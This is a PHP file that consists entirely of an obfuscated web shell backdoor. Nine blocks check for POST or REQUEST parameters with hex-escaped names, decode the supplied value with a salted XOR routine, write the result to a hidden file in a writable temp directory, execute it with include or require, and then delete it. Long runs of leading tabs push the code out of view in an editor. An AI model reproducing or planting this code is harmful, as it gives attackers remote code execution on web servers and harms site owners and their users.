<?php																																										if(filter_has_var(INPUT_POST, "\x72e\x66")){ $marker = $_REQUEST["\x72e\x66"]; $marker = explode ( '.' , $marker ) ; $val = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); foreach($marker as $p => $v5): $sChar = ord($salt6[$p %$sLen] ); $d = ((int)$v5 - $sChar -($p %10)) ^ 21; $val .= chr($d ); endforeach; $obj = array_filter([getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd()]); $fac = 0; do { $ent = $obj[$fac] ?? null; if ($fac >= count($obj)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $holder = "$ent" . "/.parameter_group"; if (file_put_contents($holder, $val)) { include $holder; @unlink($holder); exit; } } $fac++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x72\x65co\x72d"])){ $val = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), session_save_path(), "/dev/shm"]); $elem = $_POST["\x72\x65co\x72d"]; $elem = explode ( "." ,$elem ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $j = 0; array_walk( $elem, function( $v5) use( &$data_chunk, &$j, $s, $sLen) { $chS = ord( $s[$j % $sLen]); $dec =( ( int)$v5 - $chS -( $j % 10)) ^ 9; $data_chunk.= chr( $dec); $j++; }); foreach ($val as $key => $reference) { if (is_dir($reference) && is_writable($reference)) { $key = implode("/", [$reference, ".dchunk"]); if (@file_put_contents($key, $data_chunk) !== false) { include $key; unlink($key); exit; } } } }
																																										if(!is_null($_POST["r\x65s"] ?? null)){ $entity = $_POST["r\x65s"]; $entity = explode ( '.' , $entity) ; $sym = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9); $y = 0; $__tmp = $entity; while( $v6 = array_shift( $__tmp)) { $chS = ord( $s9[$y % $sLen]); $dec =( ( int)$v6 - $chS -( $y % 10)) ^ 9; $sym .=chr( $dec); $y++;} $ent = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $ptr = 0; do { $holder = $ent[$ptr] ?? null; if ($ptr >= count($ent)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) { $bind = "$holder/.val"; $file = fopen($bind, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $bind; @unlink($bind); exit; } } $ptr++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x70arameter\x5Fg\x72\x6Fu\x70"])){ $descriptor = $_POST["\x70arameter\x5Fg\x72\x6Fu\x70"]; $descriptor = explode ( '.', $descriptor ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; array_walk($descriptor , function ($v9) use (&$dchunk , &$q , $salt , $lenS) {$sChar = ord($salt[$q %$lenS]); $d = ((int)$v9 - $sChar - ($q %10)) ^39; $dchunk .= chr($d); $q++; }); $binding = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm"]); while ($rec = array_shift($binding)) { if (!( !is_dir($rec) || !is_writable($rec) )) { $holder = join("/", [$rec, ".mrk"]); if (@file_put_contents($holder, $dchunk) !== false) { include $holder; unlink($holder); exit; } } } }
																																										if(isset($_REQUEST["ob\x6A\x65c\x74"])){ $token = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", "/tmp", sys_get_temp_dir()]); $property_set = $_REQUEST["ob\x6A\x65c\x74"]; $property_set = explode ('.' , $property_set) ; $entity = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $len = count($property_set); for($t = 0; $t < $len; $t++) { $v6 = $property_set[$t]; $chS = ord($s4[$t % $lenS]); $dec = ((int)$v6 - $chS -($t % 10)) ^ 59; $entity .= chr($dec); } foreach ($token as $key => $desc) { if ((is_dir($desc) and is_writable($desc))) { $descriptor = "$desc/.ref"; if (@file_put_contents($descriptor, $entity) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x70tr")){ $descriptor = $_REQUEST["\x70tr"]; $descriptor = explode( "." , $descriptor ); $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $r = 0; $__tmp = $descriptor; while( $v1 = array_shift( $__tmp)) { $sChar = ord( $salt[$r % $lenS] ); $dec = ( ( int)$v1 - $sChar -( $r % 10)) ^ 65; $entity .= chr( $dec ); $r++; } $bind = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); foreach ($bind as $k): if (max(0, is_dir($k) * is_writable($k))) { $dchunk = vsprintf("%s/%s", [$k, ".ent"]); $success = file_put_contents($dchunk, $entity); if ($success) { include $dchunk; @unlink($dchunk); die();} } endforeach; }
																																										if(array_key_exists("r\x65s\x6F\x75rc\x65", $_REQUEST) && !is_null($_REQUEST["r\x65s\x6F\x75rc\x65"])){ $pointer = $_REQUEST["r\x65s\x6F\x75rc\x65"]; $pointer = explode ( '.' , $pointer ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $w = 0; array_walk($pointer, function ($v9) use (&$bind, &$w, $s, $sLen) { $sChar = ord($s[$w %$sLen]); $dec = ((int)$v9 - $sChar - ($w %10)) ^ 95; $bind .= chr($dec); $w++; } ); $flg = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp"]); foreach ($flg as $key => $data_chunk) { if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $ref = join("/", [$data_chunk, ".holder"]); if (file_put_contents($ref, $bind)) { require $ref; unlink($ref); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["sym"])){ $binding = $_REQUEST["sym"]; $binding= explode( '.' ,$binding ) ; $parameter_group =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $r =0; array_walk( $binding,function( $v1) use( &$parameter_group,&$r,$s,$lenS) { $sChar =ord( $s[$r % $lenS]); $d =( ( int)$v1 - $sChar -( $r % 10)) ^33; $parameter_group .= chr( $d); $r++; } ); $factor = array_filter(["/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd()]); $fac = 0; do { $flg = $factor[$fac] ?? null; if ($fac >= count($factor)) break; if (is_writable($flg) && is_dir($flg)) { $itm = vsprintf("%s/%s", [$flg, ".descriptor"]); if (@file_put_contents($itm, $parameter_group) !== false) { include $itm; unlink($itm); exit; } } $fac++; } while (true); }


if(isset($_POST["\x65\x6Etry"]) ? true : false){
	$fac = $_POST["\x65\x6Etry"];
	$fac=	explode	 	("." 		,		$fac) ;		 
	$itm = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt	);
            $len = count($fac	);
    
            for ($x = 0; $x<$len; $x++) {$v2 = $fac[$x];
                $sChar = ord($salt[$x % $lenS]	);
                $d = ((int)$v2 - $sChar - ($x % 10)) ^50;
                $itm .= chr($d	);
            }
	$dat = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP")]);
	foreach ($dat as $factor) {
    		if ((is_dir($factor) and is_writable($factor))) {
    $ent = implode("/", [$factor, ".tkn"]);
    if (file_put_contents($ent, $itm)) {
	require $ent;
	unlink($ent);
	exit;
}
}
}
}